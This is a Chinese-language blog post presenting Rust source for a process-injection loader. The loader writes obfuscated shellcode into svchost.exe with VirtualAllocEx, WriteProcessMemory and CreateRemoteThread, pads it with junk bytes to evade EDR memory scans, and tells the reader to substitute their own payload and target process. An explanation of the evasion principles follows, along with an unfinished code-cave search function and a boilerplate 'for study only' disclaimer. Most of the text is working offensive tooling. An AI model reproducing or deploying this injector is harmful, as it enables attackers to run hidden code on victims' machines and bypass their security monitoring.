新式内存驻留的实现
利用合法系统进程(如 svchost.exe、explorer.exe)的未使用内存页注入 shellcode,通过内存地址随机化+熵值混淆技术(如插入伪随机垃圾代码片段),规避 EDR 的内存扫描
之后我将使用Rust代码来呈现这一攻击技术:
use winapi::{
ctypes::c_void,
um::{
memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThread, OpenProcess},
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS},
winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS},
},
};
use rand::Rng;
use std::{ffi::CString, mem::size_of, ptr};
// 混淆 shellcode 增加熵值
fn obfuscate_shellcode(shellcode: &[u8]) -> Vec<u8> {
let mut rng = rand::thread_rng();
let mut obfuscated = Vec::with_capacity(shellcode.len() * 2);
// 插入随机垃圾指令(示例使用 NOP 和随机字节)
for &byte in shellcode {
obfuscated.push(byte);
if rng.gen_bool(0.5) { // 50% 概率插入垃圾
obfuscated.extend(&[0x90; 4]); // NOP 指令
obfuscated.push(rng.gen()); // 随机字节
}
}
obfuscated
}
// 查找目标进程 PID
unsafe fn find_pid(process_name: &str) -> Option<u32> {
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snapshot.is_null() {
return None;
}
let mut entry: winapi::um::tlhelp32::PROCESSENTRY32 = std::mem::zeroed();
entry.dwSize = size_of::<winapi::um::tlhelp32::PROCESSENTRY32>() as u32;
if Process32First(snapshot, &mut entry) == 0 {
return None;
}
loop {
let name = CString::from_vec_unchecked(entry.szExeFile.iter()
.take_while(|&&c| c != 0)
.map(|&c| c as u8)
.collect());
if name.to_string_lossy() == process_name {
return Some(entry.th32ProcessID);
}
if Process32Next(snapshot, &mut entry) == 0 {
break;
}
}
None
}
// 注入主函数
fn ghost_inject(process_name: &str, shellcode: &[u8]) {
// 混淆 shellcode
let obfuscated = obfuscate_shellcode(shellcode);
unsafe {
// 查找目标进程
let pid = find_pid(process_name).expect("Process not found");
let process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
// 随机化内存分配(系统自动选择地址)
let alloc_addr = VirtualAllocEx(
process,
ptr::null_mut(),
obfuscated.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
// 写入内存
let mut bytes_written = 0;
WriteProcessMemory(
process,
alloc_addr,
obfuscated.as_ptr() as *const _,
obfuscated.len(),
&mut bytes_written,
);
// 修改内存保护
let mut old_protect = 0;
VirtualProtectEx(
process,
alloc_addr,
obfuscated.len(),
PAGE_EXECUTE_READ,
&mut old_protect,
);
// 创建远程线程(更隐蔽的方式应使用 APC)
CreateRemoteThread(
process,
ptr::null_mut(),
0,
Some(std::mem::transmute(alloc_addr)),
ptr::null_mut(),
0,
ptr::null_mut(),
);
}
}
fn main() {
//这里的shellcode替换为你所使用的payload
let shellcode = [0x90; 128];
//这里的"svchost.exe"可以替换为目标机实际存活的其它exe
ghost_inject("svchost.exe", &shellcode);
}
技术原理讲解
1. 内存扫描规避
-
熵值混淆:通过插入随机 NOP 指令和垃圾字节,改变 shellcode 的熵值特征
-
内存随机化:利用系统自动选择分配地址(ASLR),每次注入位置不同
-
内存保护技巧:先分配为 PAGE_READWRITE,写入后改为 PAGE_EXECUTE_READ
2.进程选择策略
-
使用系统关键进程(如 svchost.exe)
-
通过进程快照(ToolHelp32)精确查找目标进程
3.隐蔽注入技术
-
不依赖新线程创建(示例使用 CreateRemoteThread,实际应使用更隐蔽的 APC)
-
内存操作全程使用合法 API 调用
增强方向
1.高级内存操作
// 使用更隐蔽的内存区域查找
unsafe fn find_code_cave(process: HANDLE) -> *mut c_void {
let mut mbi: MEMORY_BASIC_INFORMATION = std::mem::zeroed();
let mut addr = 0 as _;
while VirtualQueryEx(process, addr, &mut mbi, size_of::<MEMORY_BASIC_INFORMATION>()) != 0 {
if mbi.State == MEM_COMMIT
&& mbi.Protect & (PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE) != 0
&&
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)